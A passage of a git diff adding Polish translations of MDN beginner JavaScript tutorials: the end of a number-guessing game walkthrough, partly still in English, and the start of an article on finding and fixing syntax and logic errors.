+<p>W tym celu zastąp obecną funkcję <code>checkGuess()</code> jej nową wersją:</p>
+
+<pre class="brush: js">function checkGuess() {
+ var userGuess = Number(guessField.value);
+ if (guessCount === 1) {
+ guesses.textContent = 'Previous guesses: ';
+ }
+ guesses.textContent += userGuess + ' ';
+
+ if (userGuess === randomNumber) {
+ lastResult.textContent = 'Congratulations! You got it right!';
+ lastResult.style.backgroundColor = 'green';
+ lowOrHi.textContent = '';
+ setGameOver();
+ } else if (guessCount === 10) {
+ lastResult.textContent = '!!!GAME OVER!!!';
+ setGameOver();
+ } else {
+ lastResult.textContent = 'Wrong!';
+ lastResult.style.backgroundColor = 'red';
+ if(userGuess &lt; randomNumber) {
+ lowOrHi.textContent = 'Last guess was too low!';
+ } else if(userGuess &gt; randomNumber) {
+ lowOrHi.textContent = 'Last guess was too high!';
+ }
+ }
+
+ guessCount++;
+ guessField.value = '';
+ guessField.focus();
+}</pre>
+
+<p>Sporo kodu, prawda? Przyjrzyjmy mu się bliżej:</p>
+
+<ul>
+ <li>Pierwsza linia w ciele funkcji (linia nr 2) deklaruje zmienną <code>userGuess</code> i przypisuje jej wartość równą obecnej wartości wpisanej do pola tekstowego. Jednocześnie weryfikujemy tę wartość wbudowaną metodą <code>Number()</code>, aby mieć pewność, że wartość ta jest na pewno liczbą.</li>
+ <li>Następnie, w liniach 3–5, napotykamy nasz pierwszy blok kodu z instrukcją warunkową. Instrukcja warunkowa pozwala nam uruchamiać inne części kodu, w zależności od tego, czy dany warunek zostanie spełniony, czy też nie. Być może przypomina to trochę funkcję, ale nią nie jest. Najprostsza instrukcja warunkowa rozpoczyna się słowem kluczowym <code>if</code>, po którym następują nawiasy zwykłe i dalej nawiasy klamrowe. Wewnątrz nawiasów zwykłych umieszczamy nasz warunek. Jeśli warunek jest spełniony (wartość <code>true</code>), uruchamiany jest kod wewnątrz nawiasów klamrowych. Jeśli nie (wartość <code>false</code>)  - kod w nawiasach klamrowych nie jest uruchamiany i przechodzimy do następnej części kodu. W tym przypadku następuje sprawdzenie, czy zmienna <code>guessCount</code> jest równa <code>1</code> (tzn., czy jest to pierwsza odpowiedź gracza):
+ <pre class="brush: js">guessCount === 1</pre>
+ Jeśli tak jest zmieniamy tekst paragrafu (akapitu) <code>guesses</code> na "<samp>Previous guesses: ".</samp> W przeciwnym wypadku - nie.</li>
+ <li>Linia nr 6 dodaje aktualną wartośc zmiennej <code>userGuess</code> na końcu akapitu <code>guesses</code>, oraz białą spację aby oddzielić od siebie kolejne odpowiedzi.</li>
+ <li>Kolejna część kodu (linie 8 - 24) wykonują kilka operacji sprawdzenia:
+ <ul>
+ <li>Pierwsza instrukcja <code>if(){ }</code> sprawdza, czy odpowiedź gracza jest równa wartości zmiennej <code>randomNumber</code> wybaranej losowo na początku naszego programu. Jeśli tak jest, oznacza to, że gracz odpowiedział poprawnie i gra jest zakończona. Możemy zatem pogratulować zwycięzcy użwając sympatycznego zielonego koloru, wyczyścić zawartość akapitu informującego czy podana liczba jest za mała lub za duża (paragraf <code>lowOrHi</code>) i uruchomić funkcję <code>setGameOver()</code>, o której opowiemy sobie za chwilę.</li>
+ <li>Bezpośrednio pod właśnie opisaną instrukcją rozpoczynamy kolejny test, używając struktury <code>else if(){ }</code>. Sprawdza ona, czy obecna próba odpowiedzi gracza jest ostatnią (równą 10). Jeśli tak jest, program wykona te same operacje, co poprzednio, z tą różnicą, że zamiast gratulacji ma wyświetlić napis "game over".</li>
+ <li>Ostatnia z instrukcji warunkowych ma postać  <code>else { }</code> i zawiera kod uruchamiany tylko w przypadku, gdy żaden z poprzednich warunków nie został spełniony (tzn., że gracz nie odgadł liczby, ale pozostały mu jeszcze próby). W tym przypadku poinformujemy go, że się pomylił i przeprowadzimy kolejne sprawdzenie, czy wpisana przez niego liczba była większa czy mniejsza od prawidłowej odpowiedzi. Oczywiście wyświetlimy odpowiedni komunikat</li>
+ </ul>
+ </li>
+ <li>Trzy ostatnie linie naszej funkcji <code>checkGuess(){ }</code> (linie 26–28) przygotowują grę do przyjęcia kolejnej odpowiedzi. W tym celu zostaje dodane 1 do wartości zmiennej <code>guessCount</code>, aby "zużyć" jedną próbę gracza (<code>++</code> oznacza zwiększenie o 1 - inkrementację), wyczyszczone zostaje pole formularza i - aby gracz wygodnie mógł wprowadzić swoją następną odpowiedź - ustawiony zostaje w tym polu oczekujący kursor.</li>
+</ul>
+
+<h3 id="Zdarzenia_events">Zdarzenia (events)</h3>
+
+<p>Udało nam się całkiem zgrabnie zaimplementować funkcję <code>checkGuess()</code>, jednak na razie nie wykona ona żadnej akcji z tej prostej przyczyny, że jeszcze jej nie wywołaliśmy. Funkcja ta ma zostać wywołana przy naciśnięciu przycisku "Submit guess". W tym celu użyjemy <strong>zdarzenia</strong>. Zdarzenie jest tym, co dzieje się w przeglądarce (np. kliknięcie przycisku, załadowanie strony, odtwarzanie filmu, itd.) i czego możemy użyć  w celu wywołania konkretnego bloku kodu. Konstrukty, które "nasłuchują", czy miało miejsce zdarzenie nazywane są <strong>detektorami zdarzeń</strong> (<strong>event listeners</strong>), a wywoływane w odpowiedzi na nie bloki kodu - <strong>modułami obsługi zdarzeń (event handlers).</strong></p>
+
+<p>Do swojej funkcji <code>checkGuess()</code> dodaj poniższą linię:</p>
+
+<pre class="brush: js">guessSubmit.addEventListener('click', checkGuess);</pre>
+
+<p>W ten sposób dodałeś detektor zdarzenia do przycisku <code>guessSubmit</code>. Jest to metoda, która ma dwie dane wejściowe (zwane <em>argumentami</em>) zapisane w formie  ciągu znaków: typ zdarzenia, które ma zajść (w tym przypadku <code>click</code>), oraz fragment kodu, który ma zostać uruchomiony poprzez to zdarzenie (funkcja <code>checkGuess()</code>). Nazwę funkcji piszemy bez cudzysłowia. {{domxref("EventTarget.addEventListener", "addEventListener()")}}.</p>
+
+<p>Zapisz i odśwież swój kod. Powinien już prawie w pełni działać. Pozostała jeszcze jedna kwestia: gdy odgadniesz właściwą odpowiedź, lub wykorzystasz wszystkie próby odpowiedzi, gra zostanie przerwana, ponieważ jak dotąd nie zdefiniowaliśmy funkcji <code>setGameOver()</code>, która ma zostać wywołana w przypadku zakończenia gry. Dodajmy zatem brakującą część kodu, aby nasza gra zyskała wszystkie funkcjonalności.</p>
+
+<h3 id="Finishing_the_game_functionality">Finishing the game functionality</h3>
+
+<p>Let's add that <code>setGameOver()</code> function to the bottom of our code and then walk through it. Add this now, below the rest of your JavaScript:</p>
+
+<pre class="brush: js">function setGameOver() {
+ guessField.disabled = true;
+ guessSubmit.disabled = true;
+ resetButton = document.createElement('button');
+ resetButton.textContent = 'Start new game';
+ document.body.appendChild(resetButton);
+ resetButton.addEventListener('click', resetGame);
+}</pre>
+
+<ul>
+ <li>The first two lines disable the form text input and button by setting their disabled properties to <code>true</code>. This is necessary, because if we didn't, the user could submit more guesses after the game is over, which would mess things up.</li>
+ <li>The next three lines generate a new {{htmlelement("button")}} element, set its text label to "<samp>Start new game</samp>", and add it to the bottom of our existing HTML.</li>
+ <li>The final line sets an event listener on our new button so that when it is clicked, a function called <code>resetGame()</code> is run.</li>
+</ul>
+
+<p>Now we need to define this function too! Add the following code, again to the bottom of your JavaScript:</p>
+
+<pre class="brush: js">function resetGame() {
+ guessCount = 1;
+
+ var resetParas = document.querySelectorAll('.resultParas p');
+ for (var i = 0 ; i &lt; resetParas.length ; i++) {
+ resetParas[i].textContent = '';
+ }
+
+ resetButton.parentNode.removeChild(resetButton);
+
+ guessField.disabled = false;
+ guessSubmit.disabled = false;
+ guessField.value = '';
+ guessField.focus();
+
+ lastResult.style.backgroundColor = 'white';
+
+ randomNumber = Math.floor(Math.random() * 100) + 1;
+}</pre>
+
+<p>This rather long block of code completely resets everything to how it was at the start of the game, so the player can have another go. It:</p>
+
+<ul>
+ <li>Puts the <code>guessCount</code> back down to 1.</li>
+ <li>Clears all the information paragraphs.</li>
+ <li>Removes the reset button from our code.</li>
+ <li>Enables the form elements, and empties and focuses the text field, ready for a new guess to be entered.</li>
+ <li>Removes the background color from the <code>lastResult</code> paragraph.</li>
+ <li>Generates a new random number so that you are not just guessing the same number again!</li>
+</ul>
+
+<p><strong>At this point you should have a fully working (simple) game — congratulations!</strong></p>
+
+<p>All we have left to do now in this article is talk about a few other important code features that you've already seen, although you may have not realized it.</p>
+
+<h3 id="Loops">Loops</h3>
+
+<p>One part of the above code that we need to take a more detailed look at is the <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a> loop. Loops are a very important concept in programming, which allow you to keep running a piece of code over and over again, until a certain condition is met.</p>
+
+<p>To start with, go to your <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools JavaScript console</a> again, and enter the following:</p>
+
+<pre class="brush: js">for (var i = 1 ; i &lt; 21 ; i++) { console.log(i) }</pre>
+
+<p>What happened? The numbers <samp>1</samp> to <samp>20</samp> were printed out in your console. This is because of the loop. A <code>for</code> loop takes three input values (arguments):</p>
+
+<ol>
+ <li><strong>A starting value</strong>: In this case we are starting a count at 1, but this could be any number you like. You could replace the letter <code>i</code> with any name you like too, but <code>i</code> is used as a convention because it's short and easy to remember.</li>
+ <li><strong>An exit condition</strong>: Here we have specified <code>i &lt; 21</code> — the loop will keep going until <code>i</code> is no longer less than 21. When <code>i</code> reaches 21, the loop will no longer run.</li>
+ <li><strong>An incrementor</strong>: We have specified <code>i++</code>, which means "add 1 to i". The loop will run once for every value of <code>i</code>, until <code>i</code> reaches a value of 21 (as discussed above). In this case, we are simply printing the value of <code>i</code> out to the console on every iteration using {{domxref("Console.log", "console.log()")}}.</li>
+</ol>
+
+<p>Now let's look at the loop in our number guessing game — the following can be found inside the <code>resetGame()</code> function:</p>
+
+<pre class="brush: js">var resetParas = document.querySelectorAll('.resultParas p');
+for (var i = 0 ; i &lt; resetParas.length ; i++) {
+ resetParas[i].textContent = '';
+}</pre>
+
+<p>This code creates a variable containing a list of all the paragraphs inside <code>&lt;div class="resultParas"&gt;</code> using the {{domxref("Document.querySelectorAll", "querySelectorAll()")}} method, then it loops through each one, removing the text content of each.</p>
+
+<h3 id="A_small_discussion_on_objects">A small discussion on objects</h3>
+
+<p>Let's add one more final improvement before we get to this discussion. Add the following line just below the <code>var resetButton;</code> line near the top of your JavaScript, then save your file:</p>
+
+<pre class="brush: js">guessField.focus();</pre>
+
+<p>This line uses the {{domxref("HTMLElement.focus", "focus()")}} method to automatically put the text cursor into the {{htmlelement("input")}} text field as soon as the page loads, meaning that the user can start typing their first guess right away, without having to click the form field first. It's only a small addition, but it improves usability — giving the user a good visual clue as to what they've got to do to play the game.</p>
+
+<p>Let's analyze what's going on here in a bit more detail. In JavaScript, everything is an object. An object is a collection of related functionality stored in a single grouping. You can create your own objects, but that is quite advanced and we won't be covering it until much later in the course. For now, we'll just briefly discuss the built-in objects that your browser contains, which allow you to do lots of useful things.</p>
+
+<p>In this particular case, we first created a <code>guessField</code> variable that stores a reference to the text input form field in our HTML — the following line can be found amongst our variable declarations near the top:</p>
+
+<pre class="brush: js">var guessField = document.querySelector('.guessField');</pre>
+
+<p>To get this reference, we used the {{domxref("document.querySelector", "querySelector()")}} method of the {{domxref("document")}} object. <code>querySelector()</code> takes one piece of information — a <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">CSS selector</a> that selects the element you want a reference to.</p>
+
+<p>Because <code>guessField</code> now contains a reference to an {{htmlelement("input")}} element, it will now have access to a number of properties (basically variables stored inside objects, some of which can't have their values changed) and methods (basically functions stored inside objects). One method available to input elements is <code>focus()</code>, so we can now use this line to focus the text input:</p>
+
+<pre class="brush: js">guessField.focus();</pre>
+
+<p>Variables that don't contain references to form elements won't have <code>focus()</code> available to them. For example, the <code>guesses</code> variable contains a reference to a {{htmlelement("p")}} element, and <code>guessCount</code> contains a number.</p>
+
+<h3 id="Playing_with_browser_objects">Playing with browser objects</h3>
+
+<p>Let's play with some browser objects a bit.</p>
+
+<ol>
+ <li>First of all, open up your program in a browser.</li>
+ <li>Next, open your <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a>, and make sure the JavaScript console tab is open.</li>
+ <li>Type in <code>guessField</code> and the console will show you that the variable contains an {{htmlelement("input")}} element. You'll also notice that the console autocompletes the names of objects that exist inside the execution environment, including your variables!</li>
+ <li>Now type in the following:
+ <pre class="brush: js">guessField.value = 'Hello';</pre>
+ The <code>value</code> property represents the current value entered into the text field. You'll see that by entering this command, we've changed the text in the text field!</li>
+ <li>Now try typing in <code>guesses</code> and pressing return. The console will show you that the variable contains a {{htmlelement("p")}} element.</li>
+ <li>Now try entering the following line:
+ <pre class="brush: js">guesses.value</pre>
+ The browser will return <samp>undefined</samp>, because paragraphs don't have the <code>value</code> property.</li>
+ <li>To change the text inside a paragraph, you need the {{domxref("Node.textContent", "textContent")}} property instead. Try this:
+ <pre class="brush: js">guesses.textContent = 'Where is my paragraph?';</pre>
+ </li>
+ <li>Now for some fun stuff. Try entering the below lines, one by one:
+ <pre class="brush: js">guesses.style.backgroundColor = 'yellow';
+guesses.style.fontSize = '200%';
+guesses.style.padding = '10px';
+guesses.style.boxShadow = '3px 3px 6px black';</pre>
+ Every element on a page has a <code>style</code> property, which itself contains an object whose properties contain all the inline CSS styles applied to that element. This allows us to dynamically set new CSS styles on elements using JavaScript.</li>
+</ol>
+
+<h2 id="Finished_for_now...">Finished for now...</h2>
+
+<p>So that's it for building the example. You got to the end — well done! Try your final code out, or <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">play with our finished version here</a>. If you can't get the example to work, check it against the <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">source code</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
diff --git a/files/pl/learn/javascript/pierwsze_kroki/co_poszlo_nie_tak/index.html b/files/pl/learn/javascript/pierwsze_kroki/co_poszlo_nie_tak/index.html
new file mode 100644
index 0000000000..1a88f2b797
--- /dev/null
+++ b/files/pl/learn/javascript/pierwsze_kroki/co_poszlo_nie_tak/index.html
@@ -0,0 +1,257 @@
+---
+title: Co poszło nie tak? Rozwiązywanie problemów w JavaScript
+slug: Learn/JavaScript/Pierwsze_kroki/Co_poszlo_nie_tak
+translation_of: Learn/JavaScript/First_steps/What_went_wrong
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Kiedy w poprzednim artykule budowałeś grę "Zgadnij numer", mogłeś stwierdzić, że ona po prostu nie działała. Nie martw się - ten artykuł ma na celu zatrzymanie cię przed wyrywaniem sobie włosów nad takimi problemami poprzez dostarczenie ci narzędzi do znajdowania i naprawienia błędów w programach napisanych w JavaScript.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania wstępne:</th>
+ <td>Podstawowa znajomość obsługi komputera, podstawowe rozumenie HTML i CSS oraz wiedza, czym jest JavaScript.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Zdobycie umiejętności i odwagi do rozwiązywania prostych problemów w twoim własnym kodzie.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Typy_błędów">Typy błędów</h2>
+
+<p>Każdy błąd w kodzie można w ogólności podzielić na dwa typy:</p>
+
+<ul>
+ <li><strong>Błędy składniowe: </strong> Są to literówki w twoim kodzie, które albo sprawią, że program w ogóle się nie uruchomi, albo przestanie działać w pewnym momencie - zwykle zostaną podane także wiadomości o błędzie. Zwykle naprawa ich nie jest trudno, tak długo jak znasz odpowiednie narzędzia i wiesz, co znaczą poszczególne komunikaty błędów!</li>
+ <li><strong>Błędy logiczne:</strong> Są to błedy, gdy składnia jest poprawna, ale kod zachowuje się inaczej niż chciałeś, aby to robił. Znaczy to, że program uruchamia się poprawnie, ale daje niepoprawne wyniki. Są to trudne błędy do naprawienia, gdyż często nie mają żadnej informacji, która by naprowadziła na źródło błędu.</li>
+</ul>
+
+<p>No dobra, nie jest to <em>tak</em> proste - istnieją także inne czynniki, które różnicują błędy. Powyższa klasyfikacja wystarczy jednak w tym początkowym etapie twojej kariery. W kolejnej częsci przyjrzymy się tym dwóm typom błędów.</p>
+
+<h2 id="Błędogenny_przykład">Błędogenny przykład</h2>
+
+<p>Zaczniemy od naszej poprzedniej gry "Zgadnij numer" - tylko że tym razem będziemy zajmować się wersją w której umyślnie ukryto trochę błędów. Odwiedź GitHub i wykonaj lokalną wersję  <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (Zobacz live demo <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">tutaj</a>).</p>
+
+<ol>
+ <li>Aby zacząć, otwój lokalną wersję w swoim ulubionym edytorze tekstu i w twojej przeglądarce.</li>
+ <li>Spróbuj zagrać w tę - odkryjesz że kiedy wciskasz przycisk "Zgadnij" - on po prostu nie działa!</li>
+</ol>
+
+<div class="note">
+<p><strong>Notatka:</strong> Równie dobrze możesz mieć swoją wersję gry, która ci nie działa. Wiemy, że może chciałbyś ją naprawić, ale chcemy, abyś wykorzystał naszą wersję, dzięki czemu nauczysz się technik, których tu uczymy. Następnie możesz  wykorzystać je do naprawienia własnego kodu.</p>
+</div>
+
+<p>W tym miejscu spójrzmy na narzędzia developerskie, dokładniej konsolę debugowania, aby sprawdzić, czy występują błędy składniowe, a jeżeli tak - naprawić je. Poniżej znajdują się instrukcje, jak tego dokonać.</p>
+
+<h2 id="Naprawa_błędów_składniowych">Naprawa błędów składniowych</h2>
+
+<p>Wcześniej pokazaliśmy kilka prostych komend JavaScript, które wpisałeś do <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">konsoli JavaScript w narzędziach deweloperskich </a> (jeżeli nie pamiętasz jak je otworzyć, kliknij w link, aby sobie przypomnieć). Jej bardzo przydatną funkcją jest wyświetlanie błędów w momencie gdy interpreter JavaScript przeglądarki napotka na błąd. Wyruszmy na poszukiwanie błędów!</p>
+
+<ol>
+ <li>Idź do karty z otwartą stroną <code>number-game-errors.html</code> i otwórz konsolę JavaScript. Znajdziesz tam błąd:<img alt="" src="https://mdn.mozillademos.org/files/13496/not-a-function.png" style="display: block; margin: 0 auto;"></li>
+ <li>Jest to prosty błąd do wytropienia, a przeglądarka daje wiele przydatnych  wskazówek: (powyższy screen jest z Firefoxa, ale inne przeglądarki pokazują podobne informacje). Od lewej do prawej znajdują się:
+ <ul>
+ <li>Czerwony "x" dla pokazania, że jest to błąd.</li>
+ <li>Wiadomość błędu dla pokazania, co poszło nie tak: "TypeError: guessSubmit.addeventListener is not a function"</li>
+ <li>Link do "Learn More", który przekierowuje do strony na MDN, która wyjaśnia szczegółowo dany błąd.</li>
+ <li>Nazwa pliku JavaScript, która po kliknięciu kieruje do karty debuggera. Jeżeli klikniesz go, pokaże ci się dokładna linia z danym błędem.</li>
+ <li>Numer linii oraz znak, gdzie wystąpił błąd. W tym przypadku linia 86, znak 3.</li>
+ </ul>
+ </li>
+ <li>Spoglądając na linię 86, zobaczymy następujący kod:
+ <pre class="brush: js">guessSubmit.addeventListener('click', checkGuess);</pre>
+ </li>
+ <li>The error message says "guessSubmit.addeventListener is not a function", so we've probably spelled something wrong. If you are not sure of the correct spelling of a piece of syntax, it is often good to look up the feature on MDN. The best way to do this currently is to search for "mdn <em>name-of-feature</em>" on your favourite search engine. Here's a shortcut to save you some time in this instance: <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>.</li>
+ <li>So, looking at this page, the error appears to be that we've spelled the function name wrong! Remember that JavaScript is case sensitive, so any slight different in spelling or casing will cause an error. Changing <code>addeventListener</code> to <code>addEventListener</code> should fix this. Do this now.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_a_function">TypeError: "x" is not a function</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="Błędy_składniowe_-_podejście_drugie">Błędy składniowe - podejście drugie</h3>
+
+<ol>
+ <li>Zapisz stronę i odśwież - zobaczysz, że błąd zniknął.</li>
+ <li>Spróbuj teraz wpisać liczbę. Po kliknięciu na przycisk "Wyślij" zobaczysz... inny błąd!<img alt="" src="https://mdn.mozillademos.org/files/13498/variable-is-null.png" style="display: block; margin: 0 auto;"></li>
+ <li>Tym razem błąd to "TypeError: lowOrHi is null", on line 78.
+ <div class="note"><strong>Notatka</strong>: <code><a href="/en-US/docs/Glossary/Null">Null</a></code> jest specjalną wartością, która oznacza "nic" bądź "brak wartości" A więc <code>lowOrHi</code> został zadeklarowany i zainicjalizowany - ale wartością pustą.</div>
+
+ <div class="note"><strong>Notatka</strong>: Ten błąd pojawił się jak tylko strona została załadowana, dlatego że błąd wystąpił podczas wykonywania funkcji (w środku bloku <code>checkGuess() { ... }</code>). Jak dowiesz się później bardziej szczegółowo, kod wewnątrz funkcji jest wykonywany w innej przestrzeni niż kod poza funkcją. W tym przypadku kod nie został uruchomiony, a błąd wyrzucony do momentu, aż funkcja <code>checkGuess()</code> nie dotarła do linijki 86.</div>
+ </li>
+ <li>Popatrz na linię 78. Zobaczysz tam następujący kod:
+ <pre class="brush: js">lowOrHi.textContent = 'Last guess was too high!';</pre>
+ </li>
+ <li>W tej linii następuje próba ustawienia właściwości <code>textContent</code> zmiennej <code>lowOrHi</code> na tekst, ale to się nie powiodło ze względu na fakt, że <code>lowOrHi</code> nie jest tym, czego oczekujemy.  Trzeba się dowiedzieć, dlaczego tak jest - wyszukajmy inne wystąpienia <code>lowOrHi</code>. Najwcześniejsze wystąpienie znajdziemy w linii 48:
+ <pre class="brush: js">var lowOrHi = document.querySelector('lowOrHi');</pre>
+ </li>
+ <li>W tej linii próbujemy przypisać zmiennej referencję do elementu w dokumencie HTML. Sprawdźmy, czy wartością tej zmiennej jest null po wykonaniu tej linijki. Aby to zrobić, dodaj ten kod w linii 49:
+ <pre class="brush: js">console.log(lowOrHi);</pre>
+
+ <div class="note">
+ <p><strong>Notatka</strong>: <code><a href="/en-US/docs/Web/API/Console/log">console.log()</a></code> jest bardzo użyteczną funkcją do debugowania, której celem jest wypisanie wartości zmiennej do konsoli. W tym przypadku wypisze ona wartość<code>lowOrHi</code> do konsoli w takiej postaci, w jakiej została ona ustawiona w linii 48.</p>
+ </div>
+ </li>
+ <li>Zapisz plik i odśwież stronę. Po przejściu do konsoli zobaczysz efekt wywołania <code>console.log()</code>.<img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;">Możemy być pewni - w tym momencie wartością <code>lowOrHi</code> jest <code>null</code>. Oznacza to, że błąd jest zdecydowanie związany z linią 48.</li>
+ <li>Pomyślmy - co może być tutaj problemem? W linii 48 używamy <code><a href="/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a></code> aby otrzymać referencję do elementu. Odbywa się to poprzez podanie selektora CSS jako parametr funkcji. W dalszej częsci pliku można znaleźć paragraf, którego referencji potrzebujemy:
+ <pre class="brush: js">&lt;p class="lowOrHi"&gt;&lt;/p&gt;</pre>
+ </li>
+ <li>To oznacza, że potrzebujemy tu selektora klasy. Zaczyna się on kropką (.) - ale selektor, którego używamy w <code>querySelector()</code> (linia 48) nie ma kropki. To może być nasz błąd! Spróbuj zmienić <code>lowOrHi</code> na <code>.lowOrHi</code> w linii 48.</li>
+ <li>Zapisz i odśwież stronę. Teraz <code>console.log()</code> powinien wyświetlić element  <code>&lt;p&gt;</code>, którego poszukiwaliśmy. Uff! Kolejny błąd naprawiony! Możesz już usunąć linię z <code>console.log()</code> (albo zostawić ją odniesienie na później - jak uważasz).</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_type">TypeError: "x" is (not) "y"</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="Błędy_składniowe_-_podejście_trzecie">Błędy składniowe - podejście trzecie</h3>
+
+<ol>
+ <li>Teraz gdy spróbujesz zagrać w grę, powinno Ci się więcej powieść - gra będzie grywalna, do momentu końca gry - nieważne, czy poprzez znalezienie właściwej liczby czy skończenie się żyć.</li>
+ <li>W tym miejscu gra nie działa, a w konsoli pojawie się ten sam błąd, co na początku - "TypeError: resetButton.addeventListener is not a function"! Tym razem jednak jest wywoływany z linii 94.</li>
+ <li>Spójrzmy na linię 94. Można łatwo zauważyć, że mamy do czynienia z tym samym błędem, co wcześniej - wystarczy zmienić <code>addeventListener</code> na <code>.addEventListener</code>. Zrób to teraz.</li>
+</ol>
+
+<h2 id="Błąd_logiczny">Błąd logiczny</h2>
+
+<p>Na tym etapie gra powinna być grywalna, ale po kilku uruchomieniach można łatwo zauważyć, że "losowa" liczba to zawsze 0 bądź 1. Nie jest to to, czego można od takiej gry oczekiwać!</p>
+
+<p>Musi to być jakiś problem z logiką aplikacji - gra nie zwraca błędu, jednak nie zachowuje się jak powinna.</p>
+
+<ol>
+ <li>Znajdźmy zmienną <code>randomNumber</code>  i linie, w których zmienna jest zadeklarowana i jej wartość ustalona. To miejsce znajduje się w okolicach linii 44:
+
+ <pre class="brush: js">var randomNumber = Math.floor(Math.random()) + 1;</pre>
+ A linia, która generuje losową liczbę przed każdą grą, to linia 113:
+
+ <pre class="brush: js">randomNumber = Math.floor(Math.random()) + 1;</pre>
+ </li>
+ <li>Aby sprawdzić czy to z tymi liniami jest problem, użyjmy naszego starego przyjaciela - polecenia <code>console.log()</code>. Wstaw następujący kod bezpośrednio pod wcześniej wymienionymi dwiema liniami kodu:
+ <pre class="brush: js">console.log(randomNumber);</pre>
+ </li>
+ <li>Zapisz i odśwież, następnie zagraj kilka razy - można zauważyć, że za każdym wywołaniem  <code>randomNumber</code> jest równe 1.</li>
+</ol>
+
+<h3 id="Praca_nad_logiką">Praca nad logiką</h3>
+
+<p>W celu naprawy tego błędu, należy najpierw pomyśleć, jak działa ten kod. Na samym początku wywołujemy <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code>, który generuje zmiennoprzecinkową liczbę pomiędzy 0 i 1, na przykład 0.5675493843.</p>
+
+<pre class="brush: js">Math.random()</pre>
+
+<p>Następnie uzyskaną liczbę podajemy jako parametr funkcji <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>, której zadanie jest zaokrąglenie uzyskanej w parametrze liczby do największej liczby całkowitej równej bądź mniejszej od parametru. Następnie dodajemy 1 do wyniku:</p>
+
+<pre>Math.floor(Math.random()) + 1</pre>
+
+<p>Zaokrąglanie liczby zmiennoprzecinkowej w zakresie od 0 do 1 zawsze da 0 . Dodanie do niej 1 da więc wynik 1. Aby naprawić wynik zgodnie z wymaganiami, pomnóżmy naszą losową liczbę przez 100. Sprawi to, że dostaniemy losową liczbę od 0 do 99:</p>
+
+<pre class="brush: js">Math.floor(Math.random()*100);</pre>
+
+<p>Jeżeli dodamy 1, dostaniemy liczbę z przedziału od 1 do 100:</p>
+
+<pre class="brush: js">Math.floor(Math.random()*100) + 1;</pre>
+
+<p>Zmień obie linie zgodnie z tym wzorem, zapisz i odśwież stronę - gra powinna zachowywać się tak jak od niej tego oczekujemy!</p>
+
+<h2 id="Inne_popularne_błędy">Inne popularne błędy</h2>
+
+<p>Istnieją inne popularne błędy, na które natkniesz się w swoim kodzie. Ta sekcja zawiera listę najpopularniejszych z nich.</p>
+
+<h3 id="SyntaxError_missing_before_statement">SyntaxError: missing ; before statement</h3>
+
+<p>Ten błąd oznacza, że zapomniałeś o średniku na końcu linii. Czasem może jednak być bardziej enigmatyczny. Przykładem może być zmiana tej linii:</p>
+
+<pre class="brush: js">var userGuess = Number(guessField.value);</pre>
+
+<p>na</p>
+
+<pre class="brush: js">var userGuess === Number(guessField.value);</pre>
+
+<p>Ten kod wyrzuca błąd, gdyż myśli, że chcesz zrobić coś innego. Musisz być pewny, że nie mieszasz znaku przypisania (<code>=</code>) — zapisuje on wartość w zmiennej, z operatorem dokładnego porównania, który testuje czy jedna wartość jest dokładnie równa drugiej - zwraca ona wynik w postaci zmiennej logicznej <code>true</code>/<code>false</code>.</p>
+
+<div class="note">
